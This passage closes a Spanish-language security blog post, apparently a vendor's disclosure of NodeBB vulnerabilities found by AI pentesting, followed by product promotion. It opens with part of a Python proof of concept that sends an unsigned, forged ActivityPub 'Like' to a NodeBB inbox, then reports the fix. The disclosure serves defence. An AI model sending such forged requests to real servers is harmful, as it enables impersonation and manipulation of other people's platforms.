    'actor': 'https://nodebb.local/uid/999',
    'object': {
        'id': f'https://nodebb.local/object/{uuid.uuid4()}',
        'type': 'Like',
        'actor': f'https://nodebb.local/fake-{uuid.uuid4()}',
        'object': f'https://nodebb.local/post/{POST_ID}'
    }
}
headers = {'Content-Type': 'application/activity+json',
           'Signature': 'keyId=""'}

r = requests.post('https://nodebb.local/category/1/inbox',
                  headers=headers, json=payload)

Este problema se ha solucionado (8e98325) verificando siempre el encabezado «Signature» en las solicitudes POST.

Conclusión

Con el auge de la IA, la velocidad de las pruebas de penetración no deja de aumentar. De repente, puedes contratar a un grupo de 400 pequeños pentesters para que analicen tu aplicación por el precio de una prueba de penetración convencional. Los desarrolladores pueden seguir lanzando código rápidamente mientras los agentes de pruebas de penetración basados en IA se mantienen al día y comprueban si las nuevas funcionalidades presentan problemas de seguridad, incluso los más pequeños y complejos. En Aikido, ofrecemos AutoFixes y nuevas pruebas sencillas para ayudar a corregir cualquier vulnerabilidad identificada.

NodeBB respondió muy rápidamente a nuestro informe, lo cual agradecimos enormemente. Nos pidieron aclaraciones sobre algunos aspectos y pudimos aportar nuestros comentarios sobre las correcciones para asegurarnos de que no hubiera formas triviales de eludirlas.

Una última reflexión. En esta prueba de penetración, hemos detectado numerosas vulnerabilidades en la implementación de ActivityPub, y creemos que esto se puede generalizar y aplicar a más aplicaciones. Siempre que hay varias formas de hacer las cosas, la más habitual o la integrada suele estar muy bien protegida, mientras que la alternativa suele estar plagada de errores. ¡Asegúrate de que todas tus integraciones externas y rutas alternativas sean tan seguras como las principales!

Nuestra pentesting de IA lo descubrió por sí sola. Si quieres realizar pruebas de penetración rápidas y de alta calidad en tu aplicación, echa un vistazo a la suite de pruebas de penetración de Aikido.

Compartir:

https://www.aikido.dev/blog/eight-high-severity-vulnerabilities-nodebb

Escanear en busca de malware

Empieza gratis
4.7/5
¿Cansado de los falsos positivos?

Prueba Aikido como otros 100k.
Empiece ahora
Obtenga un recorrido personalizado

Con la confianza de más de 100k equipos

Reservar ahora
Escanee su aplicación en busca de IDORs y rutas de ataque reales

Con la confianza de más de 100k equipos

Empezar a escanear
Vea cómo el pentesting de IA prueba su aplicación

Con la confianza de más de 100k equipos

Empezar a probar

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.